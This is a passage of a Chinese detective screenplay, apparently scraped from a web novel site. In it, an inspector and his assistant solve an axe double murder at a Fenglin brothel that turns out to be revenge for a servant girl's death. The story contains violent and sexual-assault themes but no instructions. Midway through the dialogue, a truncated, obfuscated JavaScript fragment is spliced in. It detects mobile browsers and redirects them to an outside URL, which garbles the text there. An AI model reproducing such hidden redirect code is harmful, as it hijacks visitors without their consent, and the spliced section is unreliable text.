洛宁:放心好了,只要你给他俩机会,我不仅不会抱怨,还要感谢你呢! 张正清:感谢就不必了,既然你这么想成全他俩,以后黄毅的事你来替他做。 洛宁:啊?! 张正清:督察府的事那么多,你不做谁做?不愿意的话,我就爱莫能助了。 洛宁:行行行!我做我做!但我也有个条件…… 张正清:我可是你的上司,你敢跟我讲条件? 洛宁:正因为你是我的上司,所以你也要体恤一下我们这些当下属的。一个小小的条件而已,对你来说不算什么。 张正清:那好吧!什么条件?你说! 洛宁:黄毅的事我可以替他做,前提是不能让我花钱。 张正清:唉呀呀,说这句话你不觉得丢人吗?若论家境,你们洛家一点儿也不输给欧阳世家。你看看人家欧阳兰兰一掷千金的样子,再瞧瞧你一毛不拔的样子,你不怕丢了自己的脸,难道就不怕丢了你们洛家的脸吗? 洛宁:洛家的钱是我哥挣的、又不是我挣的,我花起来总觉得不痛快;只有督察府的薪水是我凭自己本事挣的,花起来才理直气壮。且不说我,张大哥!你爹娘的钱和你当督察的俸禄比起来,哪一个更让你用着心安理得呢? 张正清:唉,好吧!这次算你有理。不过话说回来,我不就吃了你一顿饭吗?都过去这么久了,你至于到现在还记着吗? 洛宁:一顿饭?那我问你,田佳的那顿算不算?她难道不是被你怂恿的吗? 张正清:这个嘛…… 洛宁:(模仿张正清的口吻)“哦,没什么,也就是在富贵大酒楼里吃了顿鲍鱼而已”。张大哥!你知道田佳的饭量有多大吗?你可真是害人不浅呐!你们两个一唱一和,害得我现在只要一听到“富贵大酒楼”这几个字,就浑身冒冷汗!哼! 张正清:(忍俊不禁)哈哈哈!我算是服了你了!好吧,你不是要替黄毅做事吗?正好枫林城有个案子要办,明天你跟我一起去吧!放心,这次我请客! 洛宁:嘻嘻,没问题。只要不让我花钱,别的什么都好说。 19. 第三篇 鱼小儿的易容术 梁州,枫林城 3-9 县衙,验尸房(日,内) 人物:张正清、洛宁、曹捕头 到了枫林城,宋知县外出未归,张正清和洛宁便在曹捕头的陪同下,前往验尸。 一看见死者血肉模糊的尸体,张正清便皱起了眉头。 张正清:怎么会是这般模样? 曹捕头:是啊!当我们赶到案发现场、见到这两具尸体时,也觉得非常震惊。像这种情况的凶案,着实很少见。 洛宁:两名死者的身上都有多达数十处的伤口,最深的地方,肉眼可见白骨。从头到脚,无一处完好,就像剁肉一样,啧啧,凶手是屠夫吗? 刘仵作:根据伤口的形状判断,凶器极有可能是把斧头。 张正清:斧头? 刘仵作:嗯。就是家家户户用来劈柴的那种,个头不算大,但十分锋利。 洛宁:仅用一把斧头,就把人砍成这般模样,足见凶手有多么希望他俩去死。 张正清:看他俩的模样,像是在睡梦中,被凶手偷袭,还来不及反抗,就一命呜呼了。案发的地点是柳香院,那个地方是枫林城里出了名的烟花之地,越是到晚上,来来往往的人越多。凶手把尸体毁坏成这般模样,应该闹出了不小的动静,为何你们第二天早上才接到报案? 曹捕头:若搁在平常,凶手在行凶的时候,肯定能引起周围人的注意,但不巧的是,那夜突降暴雨、电闪雷鸣,掩盖了凶手行凶的声音。 洛宁:死者柳花萌是柳香院里正当红的头牌,像她这种身份的风尘女子,老鸨通常会安排专属的丫鬟婆子来照顾。那天晚上,这些人又在哪里? 曹捕头:柳花萌的身边,原本有一个叫燕儿的小丫鬟,自柳花萌进入柳香院的那天起,便一直在服侍着她。不过在案发前的半个月,燕儿不知做错了何事,惹得柳花萌勃然大怒,当即把她给卖了。事后老鸨虽然想给柳花萌安排别的小丫鬟,但都无法令她满意,最后只留下一个老妈子徐氏,在柳花萌的跟前听候使唤。 洛宁:徐氏呢?她那天晚上在不在?有没有听见或看见什么? 曹捕头:徐氏那天晚上突发急病,向柳花萌告了假,去了医馆。 洛宁:这么巧? 张正清:徐氏得了什么病? 曹捕头:听医馆的大夫说,像是吃坏了肚子,腹泻不止,直到第二天早上方才有所好转,所以她那夜一直待在医馆里,不曾回柳香院。 张正清:这么说,案发的当晚,屋里屋外除了两名死者之外,再无他人。 曹捕头:是的。因为柳花萌是柳香院里正当红的头牌,她的嫖客都是非富即贵之人,为了不打扰他们的雅兴,老鸨将柳花萌的屋子安排在柳香院的最深处,那里三面环水、四周有茂密的竹篱,若非走得很近,很难听到里面的动静。 张正清:这么说,那天晚上凶手来和走的时候,都没有人发现? 曹捕头:是的。案发之后,我们将那夜在柳香院里的人全部审问过了,没有人发现此事。 张正清:或许凶手就在他们中间呢! 曹捕头:关于这个,我们也调查了所有与死者有过交集的人,结果发现有两个人很可疑。 张正清:说来听听。 曹捕头:一个是柳依依,她跟柳花萌一样,是柳香院里的粉头儿。二人的才貌相当,都深得嫖客们的青睐。也正因为此,二人经常为了争抢嫖客而互相对骂,矛盾之深,几乎已经到了水火不容的地步。对于二人的宿怨,整个柳香院上上下下,无人不知。 张正清:仅仅因为这个,还不足以让她痛下杀手。 曹捕头:柳花萌遇害之前,曾与柳依依发生过一次激烈的争吵,这期间,柳花萌用簪子划破了柳依依的脸。 洛宁:对这些青楼女子来说,一张脸可谓比任何东西都更加重要。 曹捕头:是啊!所以柳依依当时就恨不得要掐死柳花萌,若不是众人上前阻拦,她恐怕已经得逞了。 张正清:柳依依和罗宾呢?他俩又是什么关系? 曹捕头:柳依依是罗宾的旧爱,他曾许诺要替她赎身、纳她为妾,可惜在柳依依的脸被划破之后,他便立马将她抛弃了。 洛宁:呵呵,这个罗宾也不是什么善类呀。 曹捕头:若论人品,他确实非常差劲,是远近闻名的流氓无赖,但凡有点儿姿色的女子,无论已婚未婚,没有不遭他调戏的。 洛宁:既如此,凶手杀了他,岂不是为民除害?张大哥,要不咱们别查了,打道回府吧! 张正清:(瞪了洛宁一眼)凶手行凶的手法极其残忍,在整个枫林城乃至周边地区都引起了极大的恐慌,若不及时将他捉拿归案,百姓能安安稳稳地过日子吗? 洛宁吐吐舌头,不再作声,张正清接着问曹捕头。 张正清:另一个是谁? 曹捕头:他叫庞志,是死者罗宾的表亲,听闻罗宾在做玉石生意,也拿出自己的本钱,与他合伙,结果罗宾这个人很不厚道,自己大赚了一笔,却让庞志赔了个血本无归,兄弟二人自此反目。 洛宁:(嘀咕)唉,这个罗宾,死得可一点儿也不冤呐! 张正清:(装作没听见,又接着问曹捕头)若只是兄弟二人之间的纠葛,为何要杀死柳花萌? 洛宁:对呀!他完全可以选择在别的地方动手,这样岂不是更隐秘? 曹捕头:案发之前,庞志曾去罗宾的家里找过他,想拿回自己的本钱,谁知罗宾非但不认账,还将他痛打了一顿,柳花萌当时也在场,见庞志被打,不仅没有上前劝阻,反而还跟着罗宾一起哈哈大笑,骂他是个没用的草包,这让庞志倍感羞辱。 洛宁:(嘀咕)此事若换成我,也一定会毫不犹豫地杀了他俩。(见张正清正瞪着自己,急忙改口)那个……曹捕头!照这么说,这两个疑犯不仅都认识这两名死者,而且都对他们有着很深的怨恨,完全有理由对他们痛下杀手。问题是他们是怎么犯案的?是一人所为还是二人合谋? 曹捕头:我们审问了柳依依和庞志,他俩都不承认认识对方、也不承认杀了人,但也不排除他俩在撒谎。 张正清:柳依依乃一介女流,仅凭她一人之力,想要同时对付柳花萌和罗宾二人,并非易事,所以我倾向于是庞志一人所为或者二人合谋。 洛宁:如果都不是呢? 张正清:那你就把真凶给我找出来!哼! 3-10 县衙,大牢(日,内) 人物:张正清、洛宁、曹捕头、柳依依、庞志 验完尸,一行人又前往大牢,审问柳依依和庞志。 柳依依脸上的那道疤,被她用一绺头发巧妙地盖住了。听曹捕头说明张正清的身份之后,她鼻子里冷冷地哼了一声。 柳依依:该说的我都说了,还有什么好问的?不管是县太爷来了、还是督察大人来了,我的回答都是一样!我没杀那两个贱人,也不认识什么叫庞志的人!哼! 张正清:老鸨说……(刚一开口,就被柳依依打断) 柳依依:(咬牙切齿)那个不要脸的老东西,她巴不得我把一切都揽下来,免得影响了她做生意!哼!可我偏偏就不让她如愿!当初靠我挣钱的时候,把我像月亮一样捧在手心里,如今见我的脸毁了,便不想再伺候我了,真是个没良心的王八蛋!我呸! 曹捕头:柳依依!督察大人问你话…… 柳依依:问什么我都是这句话,我没杀那对奸夫□□!他们活该被杀!最好连那个老王八蛋也一起杀掉!这才叫死得好呢!哼!…… 柳依依不住地咒骂,根本不理会曹捕头的呵斥,见她越骂越难听,张正清摇摇头,带着洛宁先行离开。 曹捕头:大人!不好意思,让您见笑了!这个柳依依自从被抓进来之后,就一直是这副鬼样子,成天骂这个骂那个,就是不肯认罪。唉! 张正清:想必她对那些人早已恨之入骨,如今见他们死了,反倒十分痛快。 曹捕头又带着张正清和洛宁去另一间牢房里审问庞志。 庞志的态度跟柳依依完全不同,一见到张正清,他便不停地哀求。 庞志:大人!求您一定要替小民做主!小民真的没杀罗宾!真的没杀呀!罗宾他私吞了小民的钱财是事实,如今他被人杀了,完全是他的报应,是上天对他的惩罚!不关小民的事呀!他活着的时候,害得小民倾家荡产,总不至于他死了之后,还要让小民来偿命吧?这样太不公平了! 张正清:柳香院一案,目前还在调查中,本官并没有说人一定是你杀的。不过就在柳花萌和罗宾遇害的当晚,有人曾目睹你在柳香院附近徘徊,是否有此事? 庞志:有是有,但我并没有进去。 张正清:柳香院的家丁说,你本来想趁着人多,偷偷地溜进去,结果却被他们拦住了,还从你身上搜出了一把刀。 庞志:罗宾害得我血本无归,我这样做,无非是想逼着他把钱还给我。 张正清:你一直在悄悄地跟踪罗宾,对吗? 庞志:我…… 曹捕头:庞志!督察大人问你话呢!还不快老实回答! 庞志:我……我确实在跟踪他,但不是为了杀他。 张正清:那是为何? 庞志:罗宾这个人,做生意向来不守规矩,干了不少投机倒把的事。我跟踪他,无非是想抓住他的把柄,以此为交换,逼着他把钱还给我。至于那把刀,是我用来防身的。 张正清:如果罗宾还活着,你会不会杀了他? 庞志:这…… 张正清:会不会? 庞志:(目光变得凶狠)如果他还活着,如果他不肯把钱还给我,我肯定会杀了他!哼! 3-11 柳香院,柳花萌的屋子(日,内) 人物:张正清、洛宁、曹捕头、老鸨 审完疑犯,曹捕头又带着张正清和洛宁,前往柳香院查看命案现场。 柳花萌的屋子里,除了床帐上满是血迹之外,别的地方都干干净净,像是被精心打扫过。 洛宁:(皱起眉头)曹捕头,这间屋子在案发之后,是否有人进来过? 曹捕头:没有。我们在接到报案之后,便查封了这间屋子,除了我们之外,无人能进。 洛宁:怎么会这么干净? 张正清:是啊!难不成你们打扫过? 曹捕头:没有。我们来的时候,这间屋子就是这样,除了床帐上的血迹之外,其他地方都一尘不染。我们也觉得很纳闷,按理说那天晚上突降暴雨,凶手从外面潜入这间屋子,不可能不留下任何痕迹…… 张正清:你怎么知道他是从外面潜入?或许他早就藏身于此呢? 曹捕头:我们也考虑过这种情况,不过据柳花萌身边的老妈子徐氏供述,柳花萌怕鬼,每晚临睡前总会让她先用艾草,将整间屋子里里外外全部熏上一遍之后,才肯脱衣就寝。 张正清:也就是说,如果有什么人藏在屋子里,肯定会被发现。 曹捕头:是的。 洛宁:她为何会怕鬼?难不成做了什么亏心事? 曹捕头:这个不太好说,或许只是一种习惯。 洛宁:她常年都是这样的习惯吗? 曹捕头:这个也不太清楚,如果洛姑娘想知道的话,我可以把徐氏叫过来。 洛宁:嗯,也行,我正好有些事想问她。 张正清:你是不是想问她那晚突发急病的事? 洛宁:她不早不晚、偏偏在柳花萌遇害的那天晚上突发急病,难道你就不觉得可疑吗? 张正清:她是那晚唯一有可能目睹凶手行凶的人,凶手显然知道这一点,所以想办法把她支开了。 洛宁:又或者她是故意离开、给凶手制造一个不被人发现的机会呢? 张正清:如果她是内应的话,凶手事先藏在屋子里,她也可以假装不知道。 洛宁:还有另一种可能。 张正清:什么? 洛宁:凶手杀了人之后,打扫了这间屋子。 张正清:把人砍成那般模样,又把屋子打扫得一尘不染,这个凶手的心里在想些什么? 洛宁:每个人都有两幅面孔。 张正清:(故意将洛宁上下打量了一番,点头笑)呵呵,说得太对了! 洛宁:(瞪着他)张大哥,你什么意思呀? 张正清:(干咳两声岔开话题)咳咳!若真如你所言,凶手在行凶之后、打扫了这间屋子,那么庞志不可能一个人犯案。 洛宁:哦,为何? 张正清:因为他是个男人,男人不可能把屋子打扫得这么干净。 曹捕头:是啊!男人向来粗心大意,若换成我,顶多只将地上的脚印擦拭一下,不可能把整间屋子打扫得连一根头发都没有剩下。 张正清:除此外,庞志的体型也比罗宾矮小,那天他去找罗宾的时候,不仅没讨回自己的本钱,反倒还被罗宾痛打了一顿。由此可见,他想杀罗宾和柳花萌两个人的话,一个人根本办不到。 洛宁:那就只能与人合谋了! 张正清:与谁?柳依依还是徐氏? 曹捕头:徐氏那晚不在,只有可能是柳依依。 洛宁:柳依依打扫屋子?得了吧!她的指甲那么长,跳跳舞还可以,干这种活儿根本不行! 张正清:(眯起眼)那会是谁?难道还有第四个人? 正说着,柳香院的老鸨来了。 老鸨:(急急地问)二位大人,柳依依招供了吗? 张正清:案子还在调查中,人到底是不是她杀的,此时还无法下定论。 老鸨:除了她还能有谁?大人,您不要觉得她是个女人,就舍不得对她用刑,那小蹄子的嘴比她的骨头还硬,若不让她吃点儿苦头,她断然不会承认自己杀了人! 张正清:人若不是她杀的,此时用刑,只会屈打成招。 老鸨:怎么不是她杀的?除了她,还有谁能干得出这种伤天害理的事?她想杀柳花萌,可不是一次两次了!我们柳香院上上下下,谁不知道? 张正清:到底谁是凶手,待案子调查清楚了之后,本官自会给你们一个交代。 老鸨:大人,您快让那小蹄子认罪吧!这个案子一天未结,客人们都不敢往这里来,我们柳香院上上下下几十口人,每天都要吃要喝,若没了生意,您让我们怎么活呀? 张正清:我们只是查封了这间屋子,并没有不许你们做生意。 老鸨:话虽这么说,可客人们心里害怕呀!除非那小蹄子认了罪,否则他们怎么能放心? 张正清:如果柳依依不是凶手呢? 老鸨:肯定是她,不会错!您且对她用刑,她肯定会招供! 张正清:(懒得再理会老鸨,岔开话题)柳花萌的老妈子徐氏在不在?本官要见她! 3-12 柳香院,客厅(日,内) 人物:张正清、洛宁、曹捕头、徐氏 徐氏的模样,五十岁左右,穿着一身粗布衣,体型微胖,一脸的恭谨。 张正清:徐氏,你在柳花萌身边多久了? 徐氏:回大人的话,大概有两年了吧。 张正清:这期间,你一直只服侍柳花萌一个人吗? 徐氏:回大人的话,是的。 张正清:柳花萌待你如何? 徐氏:回大人的话,小姐待奴婢很好。 张正清:(眯起眼)真的吗? 徐氏:回大人的话,是真的,小姐确实待奴婢很好。 张正清:柳花萌与柳依依之间的那些事,你知道吗? 徐氏:回大人的话,奴婢知道。 张正清:本官听闻柳花萌与柳依依每次闹过之后,都会拿你们这些下人出气,在所有人里面,你的岁数最大,受的责骂也最多。 徐氏:小姐在外面受了委屈,回来后脾气自然比平常大些,我们这些当下人的,理应多担待。 张正清:你恨她吗? 徐氏:(微微一怔)哦? 张正清:恨不恨? 徐氏:这又从何说起? 张正清:柳花萌被杀的当晚,你因为突发急病,去了医馆。怎么会这么巧? 徐氏:大人!您该不会是想说,我是在装病吧? 张正清:为何不可?老鸨说,你虽然岁数大了,身子骨却一直很结实,在柳香院的这段日子,从来不曾生过病。怎么偏偏在凶案发生的那晚,就病了呢? 徐氏:我也觉得很意外,白天还好好的,怎么罗老爷一来,我就病了呢? 张正清:如果那晚罗宾没来,你是不是就不会生病了? 徐氏:大人!难不成您在怀疑我?那天晚上,我在医馆里待了一整夜,医馆里的大夫可以为我作证! 张正清:若论杀人,你确实没空;但也不排除,你用这种方式,令自己置身事外。 徐氏:我…… 张正清:换言之,你知道凶手是谁,也知道他当晚要行凶,为了洗脱自己的嫌疑,所以事先服用了泻药。 徐氏:我没有!我没有啊!大人,您不能把莫须有的罪名,安在我的头上呀!我根本不知道谁是凶手、也不知道那天晚上会发生那样的事,如果我知道的话,那天晚上哪怕是生病,我也不会离开呀! 张正清:你在第二天得知柳花萌的死讯后,心情如何?是不是也跟柳依依一样,觉得很痛快? 徐氏:(头摇得像拨浪鼓)不不不! 张正清:凶手是谁?快说! 徐氏:我不知道!我不知道啊!(跪下去不住地磕头)大人,求您明察!我真的不知道谁是凶手!真的不知道啊! 张正清:曹捕头!把徐氏带回县衙,仔细审问,务必要查出凶手是谁! 曹捕头:是,大人! 3-13 马车车厢(夜,内) 人物:张正清、洛宁 从柳香院出来时,天色已晚,张正清便带着洛宁回客栈休息。 洛宁:张大哥!你这么快就断定徐氏跟凶手是一伙儿的,是不是有点儿太草率了? 张正清:我可没说她跟凶手是一伙儿的。 洛宁:那你为何要吓唬她? 张正清:我想看看她被抓进牢里之后,柳依依和庞志会有什么样的反应。 3-14 县衙,前门(日,外) 人物:张正清、洛宁、曹捕头 第二天早上,张正清和洛宁来到县衙时,曹捕头已经在门外候着了。 张正清:情况怎么样? 曹捕头:回大人,昨日我按照您的指示,在押送徐氏去牢房的时候,特意带着她在柳依依和庞志的面前走了一遭。结果发现,徐氏除了不停地喊冤之外,连看都不看庞志一眼,而庞志也跟她一样,一脸的茫然。这二位给人的感觉,像是从来不认识。 张正清:柳依依呢?什么反应? 曹捕头:徐氏见到柳依依的时候,倒是微微愣了一下,柳依依见到她,只冷笑了一声,说牢房里又多了一个冤魂。 张正清:(皱起眉头)这样啊! 洛宁:似乎没什么异样。张大哥,我们要不要重新考虑一下谁才是真正的凶手? 张正清:谁知道他们是不是早就串通好了呢?此事不能大意,还是再审审吧! 3-15 县衙,刑讯室(日,内) 人物:张正清、洛宁、曹捕头、柳依依、庞志、徐氏 张正清决定把柳依依、庞志和徐氏分开审问,并谎称另外两个人已经招供了。 审问柳依依。 柳依依:你说什么?招供了? 曹捕头:没错,你的同伙已经招供了。 柳依依:同伙?谁? 曹捕头:就是昨天那个被我们抓进牢里的徐氏。 柳依依:她呀!(冷笑一声)她是柳花萌的老妈子,当然会向着她说话了。不过她既然已经招供了,你们又何必来问我?不如直接把我拉去刑场、一刀砍了,这样岂不是更省事儿? 审问庞志。 庞志:招供了?谁招供了?招了什么? 曹捕头:你的同伙徐氏,已经供出了你们联手杀害柳花萌和罗宾的事实。 庞志:不可能!你说的那个徐氏,我连听都没听说过,又怎么可能跟她联手?她肯定在撒谎,想拉我给她垫背!大人,小民冤枉!小民冤枉啊! 审问徐氏。 徐氏:招……招供了? 曹捕头:对呀!你的同伙已经招供了,你就不要再抵赖了! 徐氏:我没有抵赖,我说的全是实话!大人!您说得没错,我确实对柳花萌有些怨恨,背地里也骂了她不少回,但若说希望她去死,这个我连想都不敢想!那天晚上我确实是病了,我也不知道为何会这样,或许是有人给我下毒了…… 张正清:(心头一动,急忙追问)你说有人给你下毒了,是谁? 徐氏:我哪儿知道呀! 张正清:那你就好好地回忆一下,看看那天你吃过什么、喝过什么、接触过何人、做过何事。 曹捕头:徐氏,你可要仔仔细细地想清楚了!这可是你脱罪的唯一机会! 徐氏:(皱着眉头想了半天)别的倒没什么,只是那天莺歌儿给小姐送饭时,见我还饿着,顺手从盘子里拿了块茯苓糕给我。 张正清:茯苓糕? 徐氏:嗯。可那盘茯苓糕小姐也吃了,为何她却没事?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007366|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛宁:这还用问吗?想给你下毒的话,一块就够了。 3-16 柳香院,客厅(日,内) 人物:曹捕头及其手下、老鸨 奉张正清之命,曹捕头前往柳香院抓捕莺歌儿。 老鸨:大人!您来晚了一步,有人替莺歌儿赎了身。 曹捕头:(吃了一惊)谁?什么时候? 老鸨:今儿一大早便来了,我看他的模样,像是在河边拉纤的船工。 曹捕头:船工? 老鸨:嗯。他来我们柳香院、说要替莺歌儿赎身的时候,我还不太相信,要知道那些船工,一年到头也挣不来几个钱。不过莺歌儿倒是挺乐意,立马就答应跟他走了。 曹捕头:他姓甚名甚?长什么样子? 老鸨:莺歌儿好像认识他,叫他赵大哥。个头儿挺高,一身黑黝黝的腱子肉,结实得很呐! 3-17 县衙,议事厅(日,内) 人物:张正清、洛宁、曹捕头 曹捕头回到县衙,向张正清禀报莺歌儿离开柳香院之事,洛宁听了,心头一动。 洛宁:提起船工,我倒是想起来一件事。 张正清:什么? 洛宁:柳花萌居住的屋子三面环水,如果那个凶手想要避开众人的耳目、偷偷潜入的话,走水路岂不是更方便? 曹捕头:可那夜下着暴雨,走水路的话,不怕遭雷劈吗? 洛宁:只要身子不露出水面,就不容易遭雷劈。 曹捕头:水深难测,水里还有很多暗涛和急流,稍不留神就会丧命。 洛宁:船工连海上的风暴都不怕,这条小河又算得了什么? 张正清:嗯,宁儿说得有道理。这个船工的形迹十分可疑,我们昨日才抓住徐氏,他今日就替莺歌儿赎了身,分明是心里有鬼!曹捕头,立刻向全城发出通缉令,捉拿莺歌儿和这个船工! 3-18 客栈,客房(夜,内) 人物:张正清、洛宁 曹捕头带着手下在枫林城里搜捕了三天三夜,也没见着莺歌儿和那个船工的身影。 洛宁:会不会已经逃走了? 张正清:昨儿曹捕头还在一个山洞里,发现有人生火取暖的痕迹,应该还没出城。 洛宁:山那么大,林子又密,想找到他们恐怕不太容易。 张正清:现在是不太容易,等过几日断水断粮之后,他们自然会现身。 3-19 不知名的山上(夜,外) 人物:赵大勇、莺歌儿 赵大勇和莺歌儿藏身在山里,为了躲避搜捕,不得不频繁地更换地方,有几次差点儿跟官差迎面撞上,而他们仓惶出逃时,携带的干粮已所剩无几。 莺歌儿:赵大哥,怎么办?到处都是搜捕我们的官差,如今我们插翅也难逃了! 赵大勇:唉!莺歌儿,是我对不住你!我原打算等燕儿的尾七过后,再带着你远走高飞,却没想到官府这么快就怀疑到了我们的头上。唉!这样吧!你明日去官府,把我的行踪告诉他们,争取将功赎罪的机会;至于你给徐氏下药的事,就说是被我逼的。 莺歌儿:不!我不能这么做! 赵大勇:人是我杀的,我一人做事一人当!燕儿已经死了,不值得再赔上你的性命!我替燕儿报了仇,这辈子无憾了! 3-20 县衙,刑讯室(日,内) 人物:张正清、莺歌儿 莺歌儿刚露面,就被官差逮了个正着,押着她回了县衙。 张正清:你就是莺歌儿? 莺歌儿:回大人的话,小女正是莺歌儿。 张正清:赵大勇呢?他在哪里? 莺歌儿:我不知道。 张正清:(眯起眼)你不知道?你俩不是在一起吗?他该不会因为害怕被抓,撇下你一个人逃跑了吧?啧啧,他还是不是个男人呀? 莺歌儿:(不服气地)他怎么不是男人?他是一个顶天立地的男子汉! 张正清:若真是一个顶天立地的男子汉,就不该让一个女人来替他顶罪! 莺歌儿:人是我杀的,与他无关! 张正清:你觉得本官会信吗? 莺歌儿:信不信由你,哼! 张正清:那你倒是说说,你是怎么杀的人?为何要杀人?凶器如今又在哪里? 莺歌儿:柳花萌待我不好,所以我要杀她,凶器被我扔了。 张正清:仅仅是因为给她送了两顿饭,就把人砍成那样,连带着她的嫖客也没放过。啧啧,小丫头,你的戾气可真重啊! 莺歌儿:那是因为他俩该死,哼! 张正清:莺歌儿!你知不知道自己在做些什么?你替赵大勇顶罪,不是在帮他,而是在害他!你一死了之,留下他一个人,永远被世人耻笑。以他的性子,你觉得他活得下去吗? 听了这话,莺歌儿的眼眶瞬间红了。 张正清:不要以为你死了,他就可以逍遥法外。本官已经在枫林城里布下了天罗地网,他想逃也逃不掉!你这样做,除了会害死你自己之外,一点儿也帮不了他! 莺歌儿:我们有冤情! 张正清:那就更应该站出来,把你们的冤情讲给本官听,只有这样,本官才能替你们昭雪呀! 莺歌儿:可我怕你会杀了赵大哥。 张正清:你若不说的话,杀死他的人,可就是你了。 听了这话,莺歌儿沉默了。 3-21 不知名的山上(日,外) 人物:张正清、莺歌儿、赵大勇、曹捕头及其手下 莺歌儿交代了赵大勇的下落,张正清带着曹捕头等人,前往山中抓捕。 无名孤坟前,赵大勇正等着他们,他看上去很平静,脸上甚至还挂着笑。 赵大勇:你们终于来了! 曹捕头:赵大勇,还不快快束手就擒! 赵大勇:等我祭奠了燕儿之后,便会跟你们回县衙。 张正清:燕儿不是被柳花萌卖了吗?怎么会…… 张正清看看孤坟、又看看赵大勇,皱起眉头。 赵大勇:柳花萌和罗宾那两个畜生,是他们逼死了燕儿! 张正清:到底是怎么回事? 赵大勇:大人!燕儿和我是同乡,我们都来自添州,八年前那边闹饥荒,死了很多人,我们一路流浪、逃难至此,她被柳香院的老鸨买下,当了使唤丫头,而我则被船家收留,做了船工。我俩相识多年,早已私定终身。本来我打算攒够了钱,就替燕儿赎身,谁知道…… 说到这里,赵大勇哽咽了起来,无法接着往下说。莺歌儿见状,上前一步。 莺歌儿:还是让我来说吧! 赵大勇:莺歌儿!不是说了跟你没关系吗? 莺歌儿:燕儿是我的好姐妹,我虽然不能像你那样替她报仇,但我至少可以替她伸冤! 张正清:她有何冤情? 莺歌儿:大人,事情是这样的!燕儿在柳花萌身边当使唤丫头,被她的熟客罗宾看上了,几次三番对她动手动脚,都被燕儿拒绝。他见迟迟无法得手,便央求柳花萌给他帮忙。柳花萌起初并不乐意,却经不起罗宾重金诱惑,便答应了他。趁着徐氏回乡探亲之际,柳花萌故意支开了身边的众人,只留下燕儿一个,用香将她迷晕,让罗宾玷污了她。燕儿醒来后,羞愤交加,自觉无颜再面对赵大哥,于是……于是便悬梁自尽了!柳花萌见闹出了人命,不敢声张,就和罗宾一起,偷偷将燕儿的尸体运出柳香院,埋在了这里。 张正清:这件事你是怎么知道的? 莺歌儿:燕儿死后,老鸨派我去服侍柳花萌,我无意中偷听到了她和罗宾的谈话。 张正清:原来如此。那茯苓糕的毒,是你下的? 赵大勇:(抢先回答)是我逼她这么做的! 莺歌儿:不!是我下的!还有柳花萌和罗宾死后,我见屋里有很多赵大哥的手印和脚印,便把那里打扫干净了。 赵大勇:(痛心地)莺歌儿,何苦呢? 莺歌儿:赵大哥!你替我赎了身,是我的救命恩人。若没有你,或许有一天,我也会像燕儿那样,落得一个有冤无处诉的悲惨下场。此事若让你一人承担,那么我的下半生,即使不在牢狱之中,也会感到良心不安。 赵大勇:(深深地叹了口气)唉,你怎么这么傻呀! 张正清:你们既然知道柳花萌和罗宾害死了燕儿,当初为何不报官? 赵大勇:燕儿是自缢身亡,报官的话,能让他们以命偿命吗?如果不能,报官又有何用? 张正清:柳花萌和罗宾做的事禽兽不如,二人死有余辜,只可惜为此搭上你自己的性命,实在不值啊! 赵大勇:燕儿不惜以死明志,我又怎么能愧对于她?如今柳花萌和罗宾已死,燕儿的大仇已报,我无牵无挂了!只求大人您能放过莺歌儿,我自会随您回县衙认罪! 莺歌儿:不!大人!这件事是我告诉赵大哥的,是我逼着他这么干的!求求您,放过赵大哥吧! 见二人争相把罪责往自己的身上揽,张正清叹了口气。 张正清:赵大勇杀害柳花萌和罗宾,虽然手段残忍,但事出有因,柳花萌和罗宾也并非无罪之人。鉴于此,本官可免你一死;至于莺歌儿,你揭发赵大勇有功,本官就不问你的罪了。 赵大勇/莺歌儿:(喜极而泣)大人,谢谢您!谢谢您替我们做主! 3-22 客栈,客房(夜,内) 人物:张正清、洛宁 听张正清讲述事情的真相之后,洛宁不由得感叹。 洛宁:唉,真是一对苦命的鸳鸯啊! 张正清:世事无常!如果当初没有柳花萌和罗宾从中作梗,赵大勇此时恐怕已经跟燕儿双宿双飞了。 洛宁:可惜老天不会给人重来一次的机会。 张正清:如果你请我吃饭的话,我倒是可以再给你一次机会。 洛宁:那我只能请你吃野果、饮山泉了。 张正清:什么意思? 洛宁:临出门前,咱俩可是说好了,这次你请客。 张正清:是啊!来到枫林城之后,顿顿不都是我在付钱吗? 洛宁:那你就好人做到底,接着付呗! 张正清:小鬼!你天天吃我的、喝我的,不觉得脸红吗? 洛宁:我又没让你在富贵大酒楼里请我吃鲍鱼。 张正清:又来了!得得得,不提这个了!我听曹捕头说,街上有一家铺子,烤肉做得特别香,不如今晚咱们去尝尝? 洛宁:你请客还是我请客? 张正清:有区别吗? 洛宁:我没带钱。 张正清:哼,我就知道你会这样! 20. 第三篇 鱼小儿的易容术 梁州,凤凰城 3-23 众康医馆(日,内) 人物:冷梦、欧阳兰兰 听闻众康医馆的大夫年轻又俊俏,这一日,欧阳兰兰精心梳洗打扮了一番,以看病为由,前来试探。 欧阳兰兰:(娇滴滴地叫了一声)大夫! 冷梦:你哪里不舒服? 欧阳兰兰:大夫,我最近总觉得胸闷,像是有点儿喘不过气来。 冷梦:(抬起头,打量了她一眼)你的衣裳穿得太紧了。 欧阳兰兰:(羞答答地)嘻嘻,这样才好看嘛! 冷梦:回去把你娘的衣裳换上,自然就好了。 欧阳兰兰:(一听便不乐意了)我这么年轻,你让我穿我娘的衣裳,什么意思呀? 冷梦:想治好病,就得遵医嘱。 欧阳兰兰:那我要是不听呢? 冷梦:去别家吧! 欧阳兰兰:你……哼!我欧阳兰兰长这么大,还是头一回见到像你这样把病人往外赶的大夫。你以为你是谁呀? 冷梦:学医这么多年,我也是头一回见到像你这样无病呻吟的患者。 欧阳兰兰:你……哼!实话告诉你,这条街上的铺子,我们欧阳世家占了一半。今日你不给我面子,来日你若交不起房租,我定会毫不客气地将你赶出凤凰城去!哼! 梁州,郊外 3-24 马车车厢(日,内) 人物:张正清、洛宁 离开了枫林城,张正清一路驱车,来到了同好城的郊外。 洛宁:张大哥!我们不是要回凤凰城吗?怎么绕到这里来了? 张正清:我来这里买点儿东西。 洛宁:这里到处都是村落,又没有集市,能有什么东西卖呀? 张正清:酒香不怕巷子深,好东西未必要在集市上卖。 洛宁:是吗?那我倒要看看,是什么东西这么吸引你? 